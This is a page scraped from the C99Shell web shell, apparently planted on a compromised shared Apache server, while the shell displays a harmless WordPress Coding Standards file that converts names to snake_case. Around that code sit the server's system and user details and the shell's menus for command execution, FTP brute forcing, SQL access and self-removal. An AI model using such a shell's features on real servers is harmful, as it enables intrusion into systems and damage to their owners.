!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-coding-standards/wpcs/WordPress/Helpers/   drwxr-xr-x
Free 713.63 GB of 879.6 GB (81.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SnakeCaseHelper.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WordPress Coding Standard.
 *
 * @package WPCS\WordPressCodingStandards
 * @link    https://github.com/WordPress/WordPress-Coding-Standards
 * @license https://opensource.org/licenses/MIT MIT
 */

namespace WordPressCS\WordPress\Helpers;

use PHPCSUtils\BackCompat\Helper;

/**
 * Helper utilities for checking if a name is in snake_case.
 *
 * ---------------------------------------------------------------------------------------------
 * This class is only intended for internal use by WordPressCS and is not part of the public API.
 * This also means that it has no promise of backward compatibility. Use at your own risk.
 * ---------------------------------------------------------------------------------------------
 *
 * {@internal The functionality in this class will likely be replaced at some point in
 * the future by functions from PHPCSUtils.}
 *
 * @internal
 *
 * @since 3.0.0 The method in this class was previously contained in the
 *              `WordPressCS\WordPress\Sniff` class and has been moved here.
 */
final class SnakeCaseHelper {

    /**
     * Transform the name of a PHP construct (function, variable etc) to one in snake_case.
     *
     * @since 2.0.0 Moved from the `WordPress.NamingConventions.ValidFunctionName` sniff
     *              to this class, renamed from `get_name_suggestion` and made static
     *              so it can also be used by classes which don't extend this class.
     * @since 3.0.0 - Moved from the Sniff class to this class.
     *              - Renamed from `get_snake_case_name_suggestion()` to `get_suggestion()`.
     *
     * @param string $name The construct name.
     *
     * @return string
     */
    public static function get_suggestion( $name ) {
        $suggested = preg_replace( '`(?<!_|^)([A-Z])`', '_$1', $name );

        if ( preg_match( '`^[a-z0-9_]+$`i', $suggested ) === 1 ) {
            // If the name only contains ASCII characters, we can safely lowercase it.
            $suggested = strtolower( $suggested );
        } elseif ( function_exists( 'mb_strtolower' ) ) {
            $suggested = mb_strtolower( $suggested, Helper::getEncoding() );
        } else {
            // If the name contains non-ASCII chars and Mbstring is not available, only transliterate the ASCII chars.
            $suggested = strtr( $suggested, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz' );
        }

        return $suggested;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0101 ]--